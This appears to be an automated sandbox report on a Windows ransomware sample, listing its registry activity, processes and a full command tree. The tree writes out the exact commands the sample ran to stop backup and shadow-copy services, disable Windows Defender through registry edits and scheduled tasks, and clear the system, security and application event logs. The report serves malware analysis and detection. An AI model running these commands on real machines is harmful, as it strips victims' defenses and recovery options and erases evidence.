Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	taskmgr.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

chrome.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Modifies registry class 2 IoCs

Processes:

OpenWith.exeOpenWith.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	OpenWith.exe

Opens file in notepad (likely ransom note) 5 IoCs
ransomware

Processes:

NOTEPAD.EXENOTEPAD.EXENOTEPAD.EXEnotepad.exeNOTEPAD.EXE

pid process

3704 NOTEPAD.EXE
3672 NOTEPAD.EXE
1716 NOTEPAD.EXE
4732 notepad.exe
4968 NOTEPAD.EXE
Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

4696 PING.EXE

pid	process
3704	NOTEPAD.EXE
3672	NOTEPAD.EXE
1716	NOTEPAD.EXE
4732	notepad.exe
4968	NOTEPAD.EXE

pid	process
4696	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exewindows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exetaskmgr.exetaskmgr.exe

pid	process
3464	powershell.exe
3464	powershell.exe
3020	powershell.exe
3020	powershell.exe
5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 3 IoCs

Processes:

OpenWith.exetaskmgr.exeOpenWith.exe

pid process

4204 OpenWith.exe
4040 taskmgr.exe
4008 OpenWith.exe
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

Processes:

chrome.exe

pid process

3700 chrome.exe
3700 chrome.exe
3700 chrome.exe

pid	process
4204	OpenWith.exe
4040	taskmgr.exe
4008	OpenWith.exe

pid	process
3700	chrome.exe
3700	chrome.exe
3700	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

wevtutil.exewevtutil.exewevtutil.exewmic.exewmic.exe

description	pid	process
Token: SeSecurityPrivilege	4324	wevtutil.exe
Token: SeBackupPrivilege	4324	wevtutil.exe
Token: SeSecurityPrivilege	1284	wevtutil.exe
Token: SeBackupPrivilege	1284	wevtutil.exe
Token: SeSecurityPrivilege	368	wevtutil.exe
Token: SeBackupPrivilege	368	wevtutil.exe
Token: SeIncreaseQuotaPrivilege	3988	wmic.exe
Token: SeSecurityPrivilege	3988	wmic.exe
Token: SeTakeOwnershipPrivilege	3988	wmic.exe
Token: SeLoadDriverPrivilege	3988	wmic.exe
Token: SeSystemProfilePrivilege	3988	wmic.exe
Token: SeSystemtimePrivilege	3988	wmic.exe
Token: SeProfSingleProcessPrivilege	3988	wmic.exe
Token: SeIncBasePriorityPrivilege	3988	wmic.exe
Token: SeCreatePagefilePrivilege	3988	wmic.exe
Token: SeBackupPrivilege	3988	wmic.exe
Token: SeRestorePrivilege	3988	wmic.exe
Token: SeShutdownPrivilege	3988	wmic.exe
Token: SeDebugPrivilege	3988	wmic.exe
Token: SeSystemEnvironmentPrivilege	3988	wmic.exe
Token: SeRemoteShutdownPrivilege	3988	wmic.exe
Token: SeUndockPrivilege	3988	wmic.exe
Token: SeManageVolumePrivilege	3988	wmic.exe
Token: 33	3988	wmic.exe
Token: 34	3988	wmic.exe
Token: 35	3988	wmic.exe
Token: 36	3988	wmic.exe
Token: SeIncreaseQuotaPrivilege	2144	wmic.exe
Token: SeSecurityPrivilege	2144	wmic.exe
Token: SeTakeOwnershipPrivilege	2144	wmic.exe
Token: SeLoadDriverPrivilege	2144	wmic.exe
Token: SeSystemProfilePrivilege	2144	wmic.exe
Token: SeSystemtimePrivilege	2144	wmic.exe
Token: SeProfSingleProcessPrivilege	2144	wmic.exe
Token: SeIncBasePriorityPrivilege	2144	wmic.exe
Token: SeCreatePagefilePrivilege	2144	wmic.exe
Token: SeBackupPrivilege	2144	wmic.exe
Token: SeRestorePrivilege	2144	wmic.exe
Token: SeShutdownPrivilege	2144	wmic.exe
Token: SeDebugPrivilege	2144	wmic.exe
Token: SeSystemEnvironmentPrivilege	2144	wmic.exe
Token: SeRemoteShutdownPrivilege	2144	wmic.exe
Token: SeUndockPrivilege	2144	wmic.exe
Token: SeManageVolumePrivilege	2144	wmic.exe
Token: 33	2144	wmic.exe
Token: 34	2144	wmic.exe
Token: 35	2144	wmic.exe
Token: 36	2144	wmic.exe
Token: SeIncreaseQuotaPrivilege	2144	wmic.exe
Token: SeSecurityPrivilege	2144	wmic.exe
Token: SeTakeOwnershipPrivilege	2144	wmic.exe
Token: SeLoadDriverPrivilege	2144	wmic.exe
Token: SeSystemProfilePrivilege	2144	wmic.exe
Token: SeSystemtimePrivilege	2144	wmic.exe
Token: SeProfSingleProcessPrivilege	2144	wmic.exe
Token: SeIncBasePriorityPrivilege	2144	wmic.exe
Token: SeCreatePagefilePrivilege	2144	wmic.exe
Token: SeBackupPrivilege	2144	wmic.exe
Token: SeRestorePrivilege	2144	wmic.exe
Token: SeShutdownPrivilege	2144	wmic.exe
Token: SeDebugPrivilege	2144	wmic.exe
Token: SeSystemEnvironmentPrivilege	2144	wmic.exe
Token: SeRemoteShutdownPrivilege	2144	wmic.exe
Token: SeUndockPrivilege	2144	wmic.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

taskmgr.exetaskmgr.exe

pid	process
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

taskmgr.exetaskmgr.exe

pid	process
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
2332	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe
4040	taskmgr.exe

Suspicious use of SetWindowsHookEx 22 IoCs

Processes:

OfficeC2RClient.exeOpenWith.exeOpenWith.exeOfficeC2RClient.exe

pid	process
3148	OfficeC2RClient.exe
4204	OpenWith.exe
4204	OpenWith.exe
4204	OpenWith.exe
4204	OpenWith.exe
4204	OpenWith.exe
4204	OpenWith.exe
4204	OpenWith.exe
4204	OpenWith.exe
4204	OpenWith.exe
4204	OpenWith.exe
4204	OpenWith.exe
4204	OpenWith.exe
4204	OpenWith.exe
4204	OpenWith.exe
4204	OpenWith.exe
4008	OpenWith.exe
4008	OpenWith.exe
4008	OpenWith.exe
4008	OpenWith.exe
4008	OpenWith.exe
4816	OfficeC2RClient.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exe

description	pid	process	target process
PID 5060 wrote to memory of 2608	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 5060 wrote to memory of 2608	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 5060 wrote to memory of 2608	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 2608 wrote to memory of 3184	2608	net.exe	net1.exe
PID 2608 wrote to memory of 3184	2608	net.exe	net1.exe
PID 2608 wrote to memory of 3184	2608	net.exe	net1.exe
PID 5060 wrote to memory of 1936	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 5060 wrote to memory of 1936	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 5060 wrote to memory of 1936	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1936 wrote to memory of 3856	1936	net.exe	net1.exe
PID 1936 wrote to memory of 3856	1936	net.exe	net1.exe
PID 1936 wrote to memory of 3856	1936	net.exe	net1.exe
PID 5060 wrote to memory of 4808	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 5060 wrote to memory of 4808	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 5060 wrote to memory of 4808	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 4808 wrote to memory of 4092	4808	net.exe	net1.exe
PID 4808 wrote to memory of 4092	4808	net.exe	net1.exe
PID 4808 wrote to memory of 4092	4808	net.exe	net1.exe
PID 5060 wrote to memory of 3100	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 5060 wrote to memory of 3100	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 5060 wrote to memory of 3100	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 3100 wrote to memory of 3996	3100	net.exe	net1.exe
PID 3100 wrote to memory of 3996	3100	net.exe	net1.exe
PID 3100 wrote to memory of 3996	3100	net.exe	net1.exe
PID 5060 wrote to memory of 4084	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 5060 wrote to memory of 4084	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 5060 wrote to memory of 4084	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 4084 wrote to memory of 3428	4084	net.exe	net1.exe
PID 4084 wrote to memory of 3428	4084	net.exe	net1.exe
PID 4084 wrote to memory of 3428	4084	net.exe	net1.exe
PID 5060 wrote to memory of 1560	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 5060 wrote to memory of 1560	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 5060 wrote to memory of 1560	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1560 wrote to memory of 1496	1560	net.exe	net1.exe
PID 1560 wrote to memory of 1496	1560	net.exe	net1.exe
PID 1560 wrote to memory of 1496	1560	net.exe	net1.exe
PID 5060 wrote to memory of 3264	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 5060 wrote to memory of 3264	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 5060 wrote to memory of 3264	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 3264 wrote to memory of 3404	3264	net.exe	net1.exe
PID 3264 wrote to memory of 3404	3264	net.exe	net1.exe
PID 3264 wrote to memory of 3404	3264	net.exe	net1.exe
PID 5060 wrote to memory of 3396	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 5060 wrote to memory of 3396	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 5060 wrote to memory of 3396	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 3396 wrote to memory of 3684	3396	net.exe	net1.exe
PID 3396 wrote to memory of 3684	3396	net.exe	net1.exe
PID 3396 wrote to memory of 3684	3396	net.exe	net1.exe
PID 5060 wrote to memory of 1536	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	sc.exe
PID 5060 wrote to memory of 1536	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	sc.exe
PID 5060 wrote to memory of 1536	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	sc.exe
PID 5060 wrote to memory of 3528	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	sc.exe
PID 5060 wrote to memory of 3528	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	sc.exe
PID 5060 wrote to memory of 3528	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	sc.exe
PID 5060 wrote to memory of 4228	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	sc.exe
PID 5060 wrote to memory of 4228	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	sc.exe
PID 5060 wrote to memory of 4228	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	sc.exe
PID 5060 wrote to memory of 4828	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	sc.exe
PID 5060 wrote to memory of 4828	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	sc.exe
PID 5060 wrote to memory of 4828	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	sc.exe
PID 5060 wrote to memory of 4584	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	sc.exe
PID 5060 wrote to memory of 4584	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	sc.exe
PID 5060 wrote to memory of 4584	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	sc.exe
PID 5060 wrote to memory of 1184	5060	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	sc.exe

C:\Users\Admin\AppData\Local\Temp\windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
"C:\Users\Admin\AppData\Local\Temp\windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe"
1⤵
- Modifies extensions of user files
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5060
- C:\Windows\SysWOW64\net.exe
  net.exe stop "SamSs" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2608
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "SamSs" /y
    3⤵
    PID:3184
- C:\Windows\SysWOW64\net.exe
  net.exe stop "SDRSVC" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1936
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "SDRSVC" /y
    3⤵
    PID:3856
- C:\Windows\SysWOW64\net.exe
  net.exe stop "SstpSvc" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4808
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "SstpSvc" /y
    3⤵
    PID:4092
- C:\Windows\SysWOW64\net.exe
  net.exe stop "vmicvss" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3100
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "vmicvss" /y
    3⤵
    PID:3996
- C:\Windows\SysWOW64\net.exe
  net.exe stop "VSS" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4084
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "VSS" /y
    3⤵
    PID:3428
- C:\Windows\SysWOW64\net.exe
  net.exe stop "wbengine" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1560
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "wbengine" /y
    3⤵
    PID:1496
- C:\Windows\SysWOW64\net.exe
  net.exe stop "WebClient" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3264
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "WebClient" /y
    3⤵
    PID:3404
- C:\Windows\SysWOW64\net.exe
  net.exe stop "UnistoreSvc_1a529" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3396
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "UnistoreSvc_1a529" /y
    3⤵
    PID:3684
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "SamSs" start= disabled
  2⤵
  - Launches sc.exe
  PID:1536
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "SDRSVC" start= disabled
  2⤵
  - Launches sc.exe
  PID:3528
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "SstpSvc" start= disabled
  2⤵
  - Launches sc.exe
  PID:4228
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "vmicvss" start= disabled
  2⤵
  - Launches sc.exe
  PID:4828
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "VSS" start= disabled
  2⤵
  - Launches sc.exe
  PID:4584
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "wbengine" start= disabled
  2⤵
  - Launches sc.exe
  PID:1184
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "WebClient" start= disabled
  2⤵
  - Launches sc.exe
  PID:4744
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "UnistoreSvc_1a529" start= disabled
  2⤵
  - Launches sc.exe
  PID:2184
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:1324
- C:\Windows\SysWOW64\reg.exe
  reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
  2⤵
  PID:4940
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
  2⤵
  PID:5076
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
  2⤵
  PID:2592
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
  2⤵
  PID:4212
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:508
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:1928
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2444
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2008
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:3604
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
  2⤵
  PID:4964
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
  2⤵
  PID:2956
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
  2⤵
  PID:4948
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
  2⤵
  PID:3868
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
  2⤵
  PID:2440
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
  2⤵
  PID:3404
- C:\Windows\SysWOW64\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
  2⤵
  PID:2136
- C:\Windows\SysWOW64\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
  2⤵
  PID:4108
- C:\Windows\SysWOW64\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
  2⤵
  PID:5112
- C:\Windows\SysWOW64\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
  2⤵
  PID:2004
- C:\Windows\SysWOW64\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
  2⤵
  PID:3776
- C:\Windows\SysWOW64\reg.exe
  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
  2⤵
  PID:1188
- C:\Windows\SysWOW64\reg.exe
  reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
  2⤵
  PID:408
- C:\Windows\SysWOW64\reg.exe
  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
  2⤵
  PID:2820
- C:\Windows\SysWOW64\reg.exe
  reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:2644
- C:\Windows\SysWOW64\reg.exe
  reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:4924
- C:\Windows\SysWOW64\reg.exe
  reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:1896
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:4880
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:4960
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:1028
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:4132
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  - Modifies security service
  PID:1572
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:1812
- C:\Windows\SysWOW64\wevtutil.exe
  wevtutil.exe cl system
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:4324
- C:\Windows\SysWOW64\wevtutil.exe
  wevtutil.exe cl security
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:1284
- C:\Windows\SysWOW64\wevtutil.exe
  wevtutil.exe cl application
  2⤵
  - Clears Windows event logs
